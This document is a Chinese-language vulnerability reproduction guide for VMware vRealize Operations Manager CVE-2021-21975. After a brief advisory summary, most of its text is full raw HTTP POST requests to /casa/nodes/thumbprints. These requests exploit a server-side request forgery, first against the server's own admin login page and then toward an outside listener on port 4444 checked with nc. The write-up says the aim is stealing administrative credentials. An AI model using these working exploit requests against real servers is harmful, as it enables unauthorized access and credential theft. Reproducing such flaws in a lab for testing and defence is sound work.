2021年3月31日，VMware官方发布了关于vmsa-2021-0004的风险通知。漏洞编号为cve-2021-21975和cve-2021-21983。漏洞等级为高风险，漏洞评分为8.6。
CVE-2021-21975：拥有vRealize Operations Manager API网络访问权限的恶意行为者可以执行服务器端请求伪造攻击，以窃取管理凭据。
CVE-2021-21983：经过身份验证且拥有vRealize Operations Manager API网络访问权限的恶意行为者可以将文件写入底层Photon操作系统的任意位置。
第一步：登出
第二步：之后，访问 /casa/nodes/thumbprints，使用burpsuite抓取数据包，构造以下请求数据包，使服务器请求登录到认证页面
POST /casa/nodes/thumbprints HTTP/1.1
Host: 192.168.203.155
Connection: close
Cache-Control: max-age=0
sec-ch-ua: "Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/json;charset=UTF-8
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 36
["127.0.0.1:443/admin/login.action"]
第二步：使用dnslog验证SSRF时，发现长时间无回显，无奈之下只好使用NC进行验证。构造请求包如下：
POST /casa/nodes/thumbprints HTTP/1.1
Host: 192.168.203.155
Connection: close
Cache-Control: max-age=0
sec-ch-ua: "Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/json;charset=UTF-8
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 23
["192.168.202.86:4444"]
https://kb.vmware.com/s/article/83210
https://www.vmware.com/security/advisories/VMSA-2021-0004.html
https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2021/CVE-2021-21975.yaml